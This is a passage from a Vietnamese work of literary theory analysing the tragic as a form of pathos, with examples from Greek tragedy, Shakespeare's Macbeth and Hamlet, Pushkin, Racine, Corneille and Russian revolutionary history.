Như vậy là những hoàn cảnh anh hùng và những tính cách anh hùng được biểu hiện một cách đầy đủ đã xuất hiện không chỉ trong “thế kỷ các anh hùng” mà cả ở những giai đoạn nối tiếp chậm hơn về sau của sự phát triển các xã hội dân tộc, đang xuất hiện ngay trong thời đại chúng ta. Và bộ máy quyền lực nhà nước của xã hội hoặc tính tổ chức đạo đức – chính trị của tập thể này hay tập thể khác đã không và đang không là trở ngại đối với tinh thần chủ động tự do hành động của những cá nhân riêng lẻ hoặc của cả một nhóm người mà trong đó Hêghen đã thấy một cách đúng đắn cái nhân tố chủ quan đặc biệt quan trọng của hoạt động anh hùng. Tính tổ chức và kỷ luật của xã hội hoặc tập thể xuất hiện trong những điều kiện lịch sử – dân tộc xác định càng ở trình độ lớn hơn bao nhiêu thì lại càng cao hơn bấy nhiêu sự tự giác và trách nhiệm cá nhân có thể trở thành cơ sở cho việc biểu hiện sự chủ động tự do chủ quan của các hành động anh hùng. Cái anh hùng luôn ẩn giấu trong mình cái mâu thuẫn bên trong giữa cá tính với các lực lượng “siêu cá nhân” thúc đẩy nó.

II. Tính chất bi kịch
Tính chất bi kịch là một biến thể khác của cảm hứng trong các tác phẩm ngôn từ – hình tượng đã xuất hiện một cách lịch sử rõ ràng là theo sự tính chất anh hùng hoặc cùng thời với nó. Tính chất bi kịch được ra đời bởi những mâu thuẫn bên trong phức tạp hơn nhiều của hoạt động mang tính người và những thử thách của các tính cách xã hội của những con người và bao hàm trong bản thân những khả năng khẳng định cũng như phủ định tư tưởng – cảm xúc của chúng.
Thoạt kỳ thuỷ các dân tộc trên thế giới cổ đại đã nhận thức sự hiện hữu của những xung đột bi kịch trong đời sống tự nhiên được họ nhân cách hóa. Ngay thuở bình minh lịch sử của mình những người Aphinơ (Aten) đã trình diễn những nghi lễ mà trong đó nhân vật chính của họ là thần Điônix – sự nhân cách hóa những thảo mộc có ích – ngay từ đầu với sự tất yếu đã chết một cách bất hạnh dưới tác động của những sức mạnh thù địch của Đất đai – những thần khổng lồ, nhưng sau đó đã sống lại, được tươi tốt bởi những cơn mưa thuận gió hòa của cha mình, của thần giông tố Dớt. Đồng thời chính Điônix – đã bước ra trong bộ da dê sau dàn đồng ca nghi lễ. Từ đó đã xuất hiện tên gọi của chính vở diễn nghi lễ là “bi kịch”(1) và từ đó là tên gọi của cảm hứng của thể loại kịch đầu tiên ấy – “tính chất bi kịch”.
Nhưng người Hy Lạp cổ xưa đã sớm nhận thức cảm hứng bi kịch ngay trong những mâu thuẫn của đời sống con người. Họ đã tạo dựng những bi kịch đạo đức – xã hội (đã không có những bài hát nghi lễ “con dê” của dàn đồng ca). Nhưng cảm hứng bi kịch ở những người Hy Lạp cổ xưa đã tồn tại không chỉ trong các tác phẩm kịch mà trong cả những tác phẩm anh hùng ca – trong những truyền thuyết “thế kỷ anh hùng” của họ, đã không được truyền lại đến chúng ta theo đúng văn bản.
Cái anh hùng như đã trình bày ở trên, ẩn chứa trong mình sự mâu thuẫn tiềm tàng giữa tính tất yếu lịch sử xã hội với sự tự do đạo đức của cá nhân. Và tính chất mâu thuẫn bên trong đó có thể dẫn sự hoạt động anh hùng của những người tới kết cục bi kịch nay hay bi kịch khác. Đã tồn tại bi kịch của những tính cách anh hùng như một trong những loại hình khác nhau sớm nhất của bi kịch nói chung.
Hình tượng sáng chói và sớm nhất của loại bi kịch ấy là thần thoại về thần khổng lổ Prômêtê được Étsin nghiên cứu về sau trong bi kịch “Prômêtê bị xiềng” và trong nhiều bi kịch khác cùng đề tài ấy. Trong cốt truyện của nó, người anh hùng ấy – con trai của Phêmiđa đã không phải là biểu tượng của những quy luật sinh học đã hy sinh toàn bộ sự sống nhưng là biểu tượng của những xung đột bên trong của đời sống xã hội và ý thức con người. Prômêtê là sự biểu hiện mang tính nhân đạo của các lực lượng xã hội góp phần chiến thắng trong bản thân nỗi sợ hãi trước những sức mạnh bầu trời, tìm ra lửa và chi phối nó, xây dựng chỗ ở cho mình và che giấu trong đó khỏi bão táp, mưa gió, thuần hóa các loài vật, đo lường cuộc sống bằng trí tuệ trong khoa học con số v.v… Sự thù địch đối với Prômêtê của Dớt, của vị thần khổng lồ phán định những đau khổ bi kịch, kinh sợ, sự tử hình đau đớn, và sự chống đối anh hùng, sự bất khuất đạo đức và lời thách thức của Prômêtê với Dớt và sau đó là sự giải thoát của Hêrakl – tất cả điều đó là sự biểu hiện có tính biểu tượng của việc khắc phục nỗi sợ hãi trước các sức mạnh cao cả của bầu trời bởi tập thể nhân loại, nhưng theo bản chất là sự tự quyết có tính anh hùng của ý thức xã hội con người trước mặt những hiểm nguy to lớn và thường bất khả chiến thắng cùng những thử thách của đời sống, đôi khi dẫn đến những hậu quả bi kịch, đến thất bại nặng nề hoặc thậm chí hy sinh không phải của con người riêng lẻ mà của cả dòng họ hoặc bộ tộc.
Về sau, bước quá độ từ chế độ bộ tộc sang chế độ xã hội làm phức tạp dần dần cảm hứng bi kịch. Mặc dù những trận đánh của “thế kỷ anh hùng” vẫn còn tiếp tục, giới quý tộc quân sự thị tộc ngày càng trở thành biểu hiện của quyền lực chính trị và trong xã hội đã xuất hiện những vấn đề sử dụng công dân mới. Điều đó trước hết là vấn đề trách nhiệm đạo đức của mọi người, trao cho cá nhân mức độ này hay mức độ khác của quyền lực và hành động thay mặt quyền lực ấy. Ở đây đã xuất hiện những mâu thuẫn thường rất sâu sắc giữa quy luật xã hội của tư tưởng và ý chí của con người riêng lẻ được phân chia quyền lực theo truyền thống thị tộc cũ với sự độc đoán cá nhân trong những hành động của nó. Quen với hoạt động anh hùng tự chủ trong việc thực hiện quyền lực của mình, lãnh tụ, thủ lĩnh quân sự, người tư tế bộ lạc thường hướng về nguyện vọng và hành động của mình làm tổn hại phúc lợi của toàn xã hội phải phục tùng nó và đồng thời làm tổn hại cuộc sống của những cá nhân riêng lẻ. Những mâu thuẫn đó đã dẫn đến kết thúc bi kịch. Đó là cái bi kịch của sự độc đoán quyền lực.
Những bài ca sử thi và chuyện cổ tích của các dân tộc khác nhau, những biên niên sử, kịch của họ thường hay hưởng ứng những sự kiện mang trong mình những xung đột anh hùng – bi kịch tương tự.
Cũng như vậy, mặc dù ở những người Hy Lạp cổ đại những câu chuyện truyền thuyết gắn một phần nào với những sự kiện chiến tranh thành Troa, xuất hiện ở thời đại trước khi thành lập chính quyền quốc gia. Một số chuyện trong đó đã ra đời muộn hơn vào thế kỷ V trước công nguyên có cốt truyện của nhiều bi kịch thời Áttích. Và không ngẫu nhiên những truyền thuyết anh hùng cổ xưa ấy đã khêu gợi ở xã hội Hy Lạp mới một sự quan tâm tư tưởng sâu sắc và mạnh mẽ như vậy. Bây giờ chúng đã được xem xét trong ánh sáng của những quan niệm đạo đức mới về trọng trách bi kịch và lỗi lầm của những anh hùng vì sự độc đoán của những cuộc nội chiến đẫm máu và những cuộc giết người không thể biện minh về mặt đạo đức của chúng, thường làm thương tổn những người đáng kính và thậm chí cả những thành viên gia đình riêng của chúng.
Chẳng hạn như trong bộ ba “Ôréctia” của Étsin và sau đó trong “Êlêchtra” của Xôphôclơ cả hệ thống những biến cố bi kịch giữa những thành viên của dòng họ oai nghiêm Atrid được bóc trần. Ngay trong những thời gian hành quân về thành Troa, Agamenông đã đem người con gái Iphighênhia của mình làm vật hiến sinh cho thần Artêmiđ. Và khi quay về từ cuộc hành quân chính y đã giết vợ mình là Klitemnhêxtra – người đã báo thù y vì cái chết của con gái. Nhưng chính nữ hoàng sau đó phải thành vật hiến sinh báo thù cho sự hy sinh của chồng và người đứng đầu gia đình, còn người con trai Ôréxt của nàng được sự đồng ý của người chị là Êlêchtra (còn ở Xôphôclơ thì theo sự xúi bẩy của Êlêchtra) giết chết mẹ mình và người yêu của nàng là Eghixph.
Cái bi kịch của tất cả những sự kiện ấy là ở chỗ tất cả những người tham dự vào sự kiện – đó là những thành viên gia đình các lãnh chúa, những người điều khiển toàn bộ xã hội arghivanxkôi, không biết ở trên mình một tòa án nào trừ tòa án của các thần và chúng vì sự độc đoán cá nhân hướng uy quyền ấy vào chính bản thân trong khi thực hiện biết bao nhiêu tội ác khủng khiếp. Những vị thần cổ xưa của Hômerơ thậm chí còn đòi hỏi ở chúng những vật hiến sinh, sự sát nhân, sự trả thù ấy. Nhưng những dàn đồng ca của bi kịch Áttích thế kỷ thứ V – những người đại biểu cho ý thức giác ngộ đạo đức xã hội mới của thời đại – biểu lộ những linh cảm u ám và run lên trước điều xảy ra trên sân khấu. Theo ý kiến của Arixtôtel, những người tham gia dàn đồng ca cũng như tất cả khán giả bi kịch “đã thanh lọc” mình về mặt đạo đức bằng “những xúc cảm mạnh mẽ của lòng trắc ẩn và nỗi kinh hoàng”.
Những truyền thuyết anh hùng của Đức cũng chứa đầy những xung đột bi kịch – anh hùng tương tự. “Bài ca về những người Hibelun” có ý nghĩa nhất trong số đó. Quả thật, trong những văn bản còn lưu lại đến chúng ta thì bản chất lịch sử – xã hội thời kỳ đầu tiên của những tính cách được miêu tả tất thảy đều được sinh ra bởi sự chuyên quyền đẫm máu của “thế kỷ anh hùng” không phù hợp với sự giải thích văn học về sau của chúng đã tách rời khỏi thời đại hiệp sĩ. Nhưng ở đâu tất cả cái bi kịch của những bất hòa cá nhân đẫm máu bắt nguồn từ những quan hệ của Digphrid, Krimkhinđa, Gagen, Etxel cũng như những cuộc huynh đệ tương tàn của những người Burgun và Gun(1) là ở chỗ nhân tố anh hùng trong tất cả các tính cách ấy thể hiện trong nhân cách của mình và những hành động của mình những quyền lợi chung của các bộ tộc đang hình thành nhưng lại được hiện ra trong hình thức sự độc đoán của dục vọng cá nhân. Điều đó đưa chúng đến những cuộc phân tranh và giết chóc đẫm máu mang lại tổn thất nặng nề cho sự phát triển của mỗi dân tộc.
Trong những thời đại kế tiếp của sự phát triển xã hội khi đã dần dần xuất hiện chế độ quân chủ trung tâm trong những hình thức này khác bị hạn chế hay chuyên chế, những xung đột anh hùng – bi kịch như vậy thường xuất hiện trong đời sống dân sự của các dân tộc khác nhau. Nhưng bây giờ chúng đã trở thành phức tạp bởi những nguyên cớ của cuộc đấu tranh và đọ sức vì chính quyền làm sáng tỏ luật pháp, tôn giáo, truyền thống dân tộc và bởi những nguyên cớ của cuộc đấu tranh vì ngôi báu và sự thừa kế nó.
Một ví dụ như vậy là vở kịch “Mácbét” của Sếchxpia. Lời tiên đoán của ba mụ phù thuỷ, tất nhiên đó là sự biểu hiện tượng trưng của những khát vọng hiếu thắng quá quắt của tử tước Glamix Mácbét, những khát vọng nhanh chóng được thực hiện một phần nào ngay những chiến công trong trận đánh quân Nauy. Mácbét theo ý muốn của vua Đuncan trở thành tử tước Kavđor. Khi đó với sự xúi giục của vợ, Mácbét còn muốn vươn cao hơn nữa, xâm chiếm ngôi vua. Hắn giết vua Đuncan một cách dã man, sau đó là Bancô – người bạn và đối thủ của mình và cuối cùng là vợ và những đứa con của Mácđúph. Nhưng chẳng bao lâu trong hắn bắt đầu cuộc đấu tranh nội tâm giữa sự vững tin vào sự bất khả chiến thắng của mình và lương tri tội lỗi của mình. Hắn chiến đấu dũng cảm với quân Anh trận tới để trả thù và chết trong nỗi kinh hoàng trước sự trừng phạt nghiêm khắc không tránh khỏi. Còn vợ hắn, vợ huân tước Mácbét tự kết liễu cuộc đời bởi nhận ra các tội lỗi của mình. Cốt truyện bi kịch biểu thị sự lên án nghiêm khắc lực lượng quân sự và chính quyền đã không hướng vào thực hiện những nhiệm vụ dân tộc mà vào sự giành lấy những mục tiêu vụ lợi cá nhân, dù nó phản ánh điều đó từ một độ lớn của “tính định chuẩn”. Cuộc đấu tranh bi kịch vì quyền lực cũng là đề tài vở kịch “Maria Xtiuart” của Sinler, vở kịch “Cuộc chiến đấu vì ngai vàng” cuả Ípxen và hàng loạt các tác phẩm khác.
Việc lên án có tính định chuẩn những thói xấu nơi ngai vàng theo quan điểm của tác giả thường đặc biệt xuất hiện trong các vở kịch mô tả đời sống trong ánh sáng của những lý tưởng nhà nước phong kiến tiến bộ và chúng đã là cơ sở của khuynh hướng văn học chủ nghĩa cổ điển. Các bi kịch của chủ nghĩa cổ điển hầu như luôn vay mượn các cốt truyện từ lịch sử quá khứ nhưng về hệ vấn đề của mình thì lại luôn luôn hoàn toàn hiện đại.
Chẳng hạn như vở bi kịch “Người Anh” của Raxin mô tả tội ác kỳ quặc đầu tiên của hoàng đế La mã Hêrôn đã lạm dụng quyền lực không giới hạn của mình. Trong khi cố gắng để đạt được tình yêu của Iunhia – tình nhân của anh mình là Britannhik, hắn cố đạt được điều mình muốn bằng cách thô bỉ nhất và hăm doạ nàng rằng sẽ bức tử Britanhik, nhưng sau đó bị nàng từ chối, hắn đã đầu độc người anh trước mặt cả triều đình.
Vở bi kịch “Xináp và Truvor” của Xumarôkôp cũng chứa đựng một hoàn cảnh tương tự như vậy, chỉ có điều giảm nhẹ bớt đỉnh điểm và phần kết thúc. Cái lò xo cơ bản của xung đột kịch cũng là ý chỉ độc ác của người cầm quyền là quận chúa thành phố mới Xináp trong khi sử dụng quyền lực hiển nhiên của mình muốn cưỡng ép Illmena làm vợ với sự đồng ý của cha cô là đại địa chủ Gôxtômưxl và đuổi người anh em ruột của mình là Truvor – người yêu cô gái ra khỏi thành phố mới. Vở kịch tạo ra một căng thẳng lớn ở đoạn thoát nút xung đột, trình bày nỗi đau đớn bi kịch của Ilmena, sự tự sát của Truvor đã làm kinh động thành phố và sau đó là sự tự vẫn của Ilmena khi viết được tin về Truvor và cuối cùng ngay cả sự chuẩn bị tự vẫn của chính Xináp trong sự nhận biết muộn màng đầy đủ những tội ác của mình.
Khác với Hêrôn của Raxin không thể sửa chữa lại tội lỗi của mình và giống với Mácbét của Sếchxpi, Xináp của Xumarôkôp bộc lộ trong mình khả năng bừng tỉnh đạo đức.
Nhưng trong đời sống cũng như trong tác phẩm văn học, thường xảy ra những hoàn cảnh bi kịch, khi mà trong ý thức con người có được sự toàn quyền chính trị, trong khoảng thời gian toàn bộ sự phát triển hành động diễn ra cuộc cộng tác bên trong giữa việc nhận thức cái tất yếu lịch sử – dân tộc với cái phá huỷ nghiêm trọng vì những yêu cầu đạo đức của nó. Cái bi kịch như vậy đặc biệt có ý nghĩa trong nội dung của mình.
Vở bi kịch “Bôrít Gôđunốp” của Puskin là ví dụ xuất sắc của sự biểu hiện nghệ thuật mâu thuẫn kiểu này. Ngay trong đoạn mở đầu tác phẩm thiên hướng của Bôrít về phía vương quốc diễn ra trong bầu không khí của sự bất bình xã hội sâu sắc, trong lúc các tầng lớp xã hội tiến cử chàng lên ngôi, đều ở bên ngoài cốt truyện của vở kịch. Toàn bộ sự hoạt động tiếp theo của nó, kế tục truyền thống tiến bộ của chế độ nhà nước quý tộc mới, mở đầu bằng Grôđnưi, diễn ra trong cuộc đấu tranh khó khăn với những thế lực thù địch bên trong, ở hoàn cảnh sự lên án anh ta về mặt đạo đức ngày càng gia tăng. “Ý kiến của nhân dân” hầu như trở thành dàn đồng ca bi kịch nhất nhắc nhở Bôrít nhớ tới tội ác của mình và khêu gợi trong y nỗi thống khổ đạo đức và cuộc đấu tranh với lương tâm không trong sạch của mình và sau đó dẫn tới sự chết yểu của y.
Cũng thường khi cá nhân cầm quyền được xã hội quý trọng về đạo đức và hình như làm được nhiều điều cho đất nước mình, nhưng không có những khả năng và sức mạnh cá nhân phù hợp với điều đó và bị giày vò bi kịch bởi sự nhận biết mâu thuẫn bên trong ấy của trách nhiệm quốc gia của mình với sự bất lực của mình để thực hiện nó. Sa hoàng Phêđor Iôanôvich trong vở bi kịch cùng tên của A.K. Tônxtôi là như vậy. Một hoàn cảnh tương tự được biêu hiện trong “Êrich XIV” của Xtrinđberg.
Những trạng huống bi kịch như vậy bắt nguồn cách này hay cách khác từ những mâu thuẫn giữa cái cao cả và quyền hạn của quyền lực ở một phía với những thủ đoạn tội lỗi của việc sử dụng chúng ở phía khác hoặc từ sự yếu đuối cá nhân không đủ năng lực thực hiện điều cao cả của quyền lực của mình. Cả cái này lẫn cái kia sản sinh một cách tất yếu trong ý thức cá nhân cuộc đấu tranh bên trong nặng nề và không thể giải quyết được.
Sự đa dạng như vậy của xung đột có cơ sở trong cuộc đấu tranh của những nguyên tắc cao cả “siêu cá nhân” và những tham vọng cá nhân trong tâm hồn các nhân vật là sự biểu hiện cao cả và có ý nghĩa hơn hết của cái bi kịch trong sự so sánh với những xung đột của hiềm khích, giết chóc tạo ra bởi sự chuyên quyền cá nhân của các cá tính anh hùng.
Nhưng cái bi kịch xuất hiện vào lúc khi những cá nhân riêng lẻ hoặc những vận động toàn bộ xã hội thông qua những đại biểu xuất sắc của mình hiểu được tính tất yếu của cuộc đấu tranh quyết liệt chống chính quyền nhà nước đang bị mất đi cách này hay cách khác tính tiến bộ lịch sử dân tộc của mình và sẵn sàng về mặt đạo đức vào cuộc đấu tranh ấy nhưng vào khi đó chúng đồng thời dần dần nhận ra chỗ yếu tập thể hay cá nhân của mình và cái thế không thể giành được thắng lợi trong cuộc đối đầu của quyền lực, bị tự dằn vặt, đau đớn bởi nhận thức ra cái không có khả năng ấy và bị hy sinh trong cuộc chiến đấu không cân sức.
Ví dụ chẳng hạn như “Hămlét” của Sếchxpia. Trong vở kịch này tất cả các tội ác diễn ra trong quá khứ nhưng trong cốt truyện lại được hoàng tử Hămlét trực tiếp đưa lên ngay ở bình diện đầu tiên, chàng đau thương sâu sắc về cái chết của người cha thân yêu và sự suy đồi đạo đức của người mẹ. Toàn bộ cái bi kịch tập trung trong tính cách của chàng nhưng có chăng trong tính cách ấy cả những đặc điểm của chủ nghĩa anh hùng? Về điều này đã và đang tranh cãi. Trong một nhận xét chung cách đây không lâu của mình về các cuộc tranh cãi ấy, trong “Lời bạt đối với Hămlét”(1) A.A. Anhikxt phát triển tư tưởng của Bêlinxki, hình như đến gần chân lý hơn các nhà phê bình khác. Ông giả định đúng đắn rằng tính cách Hămlét cần được lấy ra trong sự tiến hóa và phân biệt ba giai đoạn. Nhưng sự nhận thức của ông về ba giai đoạn ấy chưa chắc được thuyết phục.
Nhà phê bình gọi giai đoạn đầu tiên của sự phát triển của Hămlét, khi trong gia đình của chàng mọi việc còn bình yên và chàng được học ở Víttenberg là “sự hài hòa hồn nhiên, vô ý thức và tự thỏa thích tinh thần”. Nhưng theo tất cả rõ ràng là trước khi trở về Đan Mạch, Hămlét đã thấm nhuần một thế giới quan xác định – những quan điểm nhân đạo – lãng mạn về con người như một bản chất “thanh cao bởi trí tuệ” như “vẻ đẹp của vũ trụ” như “đỉnh cao của tất cả sinh vật” v.v… Ở giai đoạn thứ hai – “bất hòa và đấu tranh”, Hămlét bị rung động bởi tất cả những biến cố vắng mặt chàng ở Enxinor, từ bỏ tất cả những quan điểm cao cả của mình và bây giờ nói về chúng với sự mỉa mai cay đắng, thậm chí căm phẫn. Đối với chàng bây giờ con người – đó là “bản chất của bụi bặm”.
Nhưng sự khủng hoảng tư tưởng rõ ràng là đã chín muồi ở chàng hoàng tử trước cả khi sự trở về nhà của chàng và nó không chỉ gợi nên kết thúc ở Enxinor. Đoạn độc thoại của chàng chống lại tập quán xã hội xấu xa của cuộc sống đương thời nói chung bao gồm những lời độc bạch “sống hay không sống” (“Ai đã chịu được roi vọt và sự khinh khi của thời đại – sự áp bức của bạo lực, những sự diễu cợt của tên kiêu ngạo…” v.v…) không có vẻ là cái gì đó bỗng nhiên chợt đến trong đầu chàng mà đã từ từ rút ra sự khái quát u sầu. Bởi thế với sức mạnh đó tâm hồn chàng hoàng tử bị tổn thương vì tất cả những gì xảy ra trong gia đình mình. Và ý nghĩa của Hămlét tự nói với mình sau khi gặp hồn ma người cha: “Một thời đại đã suy đồi – tất cả đều kinh tởm. Ta sinh ra để chống lại nó!”. Ở lời nói ấy chứa đựng thực chất của tình thế bi kịch mà hoàng tử rơi vào trong đó.
Tất cả điều này đặt dấu ấn của mình vào giai đoạn sau của sự phát triển tính cách Hămlét, xác định đặc điểm những nghi ngờ và sự do dự của chàng. Trong cái chết của người cha, sự chiếm đoạt ngai vàng, sự phản bội của người mẹ, Hămlét thấy những triệu chứng nguy hiểm khác thường của “sự suy đồi” thời đại. Một mình chàng có thể “chống lại nó” chăng? Và có thể nào giải quyết điều đó nói chung bằng một nhát kiếm giết chết cái ác?
Sự nhận thức tính tất yếu của cuộc đấu tranh quyết liệt với cái ác, tự mình hướng vào nó, gợi lên trong chàng ý nghĩ vô vọng của cuộc đấu tranh với cái ác “siêu cá nhân”. Ý nghĩ về cuộc chiến đấu với kẻ sát nhân, kẻ tiếm đoạt ngai vàng (“chịu khuất phục” hay “chống lại”?) diễn ra trong chàng cái ý nghĩ về tự sát – “sống hay không sống”… “chết, yên giấc ngàn thu”… Và điều đó không phải từ sự yếu hèn của tính cách, không phải từ sự thiếu ý chí như Bêlinxki đã giả định một cách đúng đắn mà từ mâu thuẫn sâu sắc của nhiệm vụ đặt ra trước nó. Sự tự vạch mặt của Klápđia trong thời gian biểu diễn, việc vô tình giết chết Pôlônia, sự xuất hiện mới của bóng ma, chuyến phái đi Anh nham hiểm – tất cả điều đó làm Hămlét nổi giận và thôi thúc chàng báo thù nhà vua. Tất cả điều đó theo ý kiến của Bêlinxki và Anhikxt dẫn đến sự phát triển tính cách hoàng tử ở một trình độ mới, cao hơn “sự hài hòa có ý thức dũng cảm” và “sự hồi tỉnh”. Và lúc này chàng quyết trừ khử Klápđia, chiếm lại ngai vàng kế nghiệp. Nhưng phải chăng điều đó diễn ra như vậy trong cốt truyện bi kịch?
Thực ra tất cả những gì xảy ra ở màn V cho thấy trong nhận thức của Hămlét tính không có thể của cuộc đấu tranh với cái ác “siêu cá nhân” đã thắng tính tất yếu của cuộc đấu tranh với cái ác đang trực tiếp chống lại nó. Và ở đây cái chết bất ngờ của Ôphêlia – người chàng đã yêu, không phải là yếu tố quyết định mà lớn hơn là cái tâm trạng sâu sắc có ý nghĩa chung của riêng chàng.
Trong khi còn chưa biết sửa soạn nấm mồ cho ai, Hămlét suy nghĩ lâu và thận trọng về cái chết của tất cả mọi người – từ đức vua và người thân cận triều đình đến kẻ bao thầu và tên hề của vua – và về sự lăng xăng của đời sống, của việc làm và sự bận ưôngười của chúng. Sau đó khi kể lại với Hôraxiô về sự phản bội mới của Klápđia, chàng lại nói về trách nhiệm báo thù nó của mình. Nhưng thay vào đó lại nhanh chóng thỏa thuận đo gươm với kẻ thù ngay hiểm là Laerta. Rõ ràng là chàng không quý cuộc sống của mình và không bảo vệ nó cho sự báo thù vĩ đại của mình. Trong lời bàn luận cuối cùng của chàng hướng về Hôraxiô vang lên một cách đặc biệt rõ ràng sự thờ ơ của chàng với đời sống, sự linh cảm với cái chết, sự sẵn sàng với bất kỳ một kết thúc nào (“Tuyệt nhiên ta chẳng sợ những điều báo trước…” v.v…). Trong đó biểu hiện không phải “sự hài hòa dũng cảm” (Bêlinxki), cũng không phải “sự quả quyết chín muồi” (Anhikxt) mà là một cảm giác tuyệt vọng mất đi cái anh hùng.
Màn đấu kiếm kết thúc vở kịch đã không thể thay đổi chút gì về bản chất, mặc dù Hămlét đã mang cái chết đem đến từ mũi gươm của Laerta, trong cơn phẫu nộ lại phát hiện ra âm mưu độc ác của Klápđia và kịp giết chết hắn. Bi kịch – không trong cảnh ngập máu nhưng trong bốn xác chết sõng soài trên sàn diễn. Nó ở trong cuộc sống và tâm hồn chàng hoàng tử bị hy sinh. Nó ở chỗ sự nhận ra cái không có thể của cuộc đấu tranh với cái ác “siêu cá nhân” đã tước mất vũ khí đạo đức của nó trong cuộc chiến đấu với cái ác cá nhân.
Nhưng thường có cái bi kịch của ý nghĩa chính trị rộng lớn hơn nhiều là bi kịch của những phong trào cách mạng xuất hiện có tính quy luật lịch sử nhằm lật đổ chính quyền nhà nước phản động nhưng chưa chín muồi, thiếu tổ chức mà cái chủ yếu là không có chỗ dựa trong các tầng lớp xã hội rộng lớn. Những phong trào như vậy không có sức mạnh đầy đủ và những khả năng thực hiện thành công những nhiệm vụ chung dân tộc vĩ đại của mình và vì vậy mà trong toàn bộ tính chính nghĩa lịch sử của sự nghiệp bị vấp phải thất bại.
Ví dụ như ở nước Nga là bi kịch của những người tham gia vào phong trào cách mạng quý tộc của những người tháng Chạp được khích lệ được khích lệ bởi những lý tưởng vĩ đại giải phóng đất nước khỏi ách nông nô chuyên chế nhưng lại muốn duy trì sự thống trị tài sản và chính trị của giới quý tộc và vì vậy đã không có và hầu như không tìm được sự ủng hộ trong các tầng lớp dân chủ của xã hội. Những người tháng Chạp đã không trở thành lực lượng tiến bộ thực tế chung toàn dân tộc thống nhất quanh mình tất cả các tầng lớp xã hội chống chế độ nông nô. Họ đã bị tách biệt trong cái giới chật hẹp của mình và gặp phải thất bại nhanh chóng và thảm hại.
Trong tiểu thuyết “Kiukhlia” của Iu.Tưnhianốp đã trình bày sát đúng, rõ ràng không chỉ cái anh hùng mà cả cái bi kịch của cuộc khởi nghĩa tháng Chạp. Trong khi chỉ ra sự khuyết ngôi tạm thời giữa hai triều vua đã bắt gặp các thành viên của “nhóm Phương Bắc” một cách bất ngờ như thế nào và trong thái độ những mối liên hệ của chúng với quân đội thủ đô, trong thái độ của tính tổ chức bên trong riêng của chúng và chúng đã ngờ vực nặng nề trong lực lượng của mình như thế nào.
Vào đêm trước cuộc khởi nghĩa tại đại bản doanh của Rưlêép trong cuộc họp của những kẻ phản mưu, nhiều người trong bọn họ không tin rằng cần phải hành động và không biết những bộ phận nào của những trung đoàn nào sẽ đi theo họ. “Trời ơi, chính vì chúng ta hoàn toàn không có lực lượng”, – Stêinghen nói, – “Có thể chờ đợi một ít? Chính vì bọn chúng có đại bác…” – Trubêxki nói, môi mỗi người run lên “Chúng ta không thoát khỏi cái chết – Nhất định hành động” – Rưlêép trả lời và “trở thành trắng bệch”. Và tất cả các sự kiện sáng hôm sau trên quảng trường Xênátxki được tác giả mô tả chủ yếu là trong tình trạng nhộn nhạo, hỗn loạn của chúng dẫn tới sự thất bại nhanh chóng của cuộc khởi nghĩa. Dĩ nhiên nhà văn đã cường điệu sự nhận biết tính tuyệt vọng bi kịch từ phía những người tháng Chạp nhưng điều đó đã không xuyên tạc hiện thực.
Về cơ bản là đã xảy ra bi kịch của những nhà dân chủ cách mạng Nga những năm 70 cố gắng đưa quần chúng nhân dân vào cuộc đấu tranh với chế độ địa chủ chuyên chế nhưng không tìm được trong nông dân và quần chúng công nhân sự đoàn kết cần thiết và sự giác ngộ xã hội. “Những nhà dân tuý” sau đó đã chuyển sang chiến thuật anh hùng nhưng sai lầm của khủng bố cá nhân và trong khi phung phí không hiệu quả tại đó những lực lượng ưu tú của mình, họ đã hy sinh trong tù và nơi giá treo cổ.
Cuốn tiểu thuyết “Anđrây Kôgiukhốp” của X. Kraptrinxki (Xtêphiaka), đặc biệt trong phần cuối mô tả sự quyết định cực kỳ dũng cảm của Kôgiukhốp với sự đồng tình của đảng “tấn công Sa hoàng” của mình, những xúc cảm bi kịch của anh ta trước sự mưu sát, tái hiện sự thất bại của người cuối cùng, sự thất bại được xác định bởi sự trầm uất tâm lý bao phủ người anh hùng ấy trong cuộc đấu tay đôi không cân sức với chính quyền, mặc dù chưa đạt được độ nghệ thuật to lớn nhưng đã trở thành sự phản chiếu rực rỡ sáng tạo chân thực lịch sử cái bi kịch đó của những “nhà dân tuý”.
Về cơ bản những hoàn cảnh bi kịch và kết cục của chúng gắn bó cách này hay cách khác với hoạt động anh hùng của các lực lượng xã hội khác nhau hoặc với hoạt động cố đạt được ý nghĩa anh hùng là như vậy. Trong những hoàn cảnh như thế diễn ra xung đột bên trong giữa những quyền lợi chung toàn dân tộc và những nhiệm vụ của chính quyền với sự độc đoán cá nhân và đôi khi với sự yếu đuối cá nhân của những người cầm quyền hoặc là sự xung đột bên ngoài giữa chính quyền hoặc là sự xung đột bên ngoài giữa chính quyền đã mất hết ý nghĩa tiến bộ của mình và những cá nhân riêng lẻ có suy nghĩ tiến bộ kỳ vọng vào chính quyền hoặc là toàn bộ những phong trào xã hội tiến bộ nhưng không có lực lượng để đạt mục đích của mình.
Nhưng thường có những xung đột bi kịch khác nằm ở chỗ trong ý thức của cá nhân riêng lẻ đặc biệt xảy ra trong cuộc đấu tranh nội tâm giữa tình cảm nghĩa vụ của nó bắt nguồn từ sự cao thượng, danh dự, vinh quang của nó được tạo ra bởi bản tính của nó đối với tầng lớp, giai cấp, đoàn thể này hay khác, đã hoặc đang có ý nghĩa dân tộc tiến bộ với những xúc cảm riêng tư của cá nhân ấy không phù hợp với nghĩa vụ đoàn thể của nó.
Chẳng hạn như mâu thuẫn của vở bi kịch nổi tiếng Lơxít của Cornây, trong đó hiệp sĩ Rôđrigơ trong lúc bảo vệ danh dự của gia đình cao quý của mình đã đấu kiếm giết chết cha người yêu của mình là nàng Simen vì đã xúc phạm cha chàng. Cả Rôđrigơ và Simen đều sống bằng những quan niệm về danh dự hiệp sĩ như những tiêu chuẩn đạo đức cao nhất. Người thứ nhất đã không thể bỏ qua sự xúc phạm người đại diện dòng họ của mình mà không báo thù, người thứ hai lại không thể trở thành vợ của kẻ giết cha mình, ngược lại, nàng cần phải vươn tới tiêu diệt nó, đạt được tử hình nó. Nhưng thực ra thì nàng còn yêu Rôđrigơ mạnh mẽ hơn vì chàng là một hiệp sĩ chân chính biết bảo vệ danh dự của mình (chính chàng quyết đấu với cha Simen nhân thể để bày tỏ trước nàng danh dự và lòng dũng cảm của mình và bằng cách đó trở nên xứng đáng với tình yêu của nàng). Danh dự và tình yêu bước vào xung đột bi kịch trong con tim của họ mà không có lối ra. Và chỉ có sự can thiệp của quốc vương Phécnanđô phù hợp với lý tưởng tác giả cấm chỉ cuộc đấu kiếm giữa các hiệp sĩ vì chúng huỷ hoại tinh hoa dân tộc, khuyến dụ 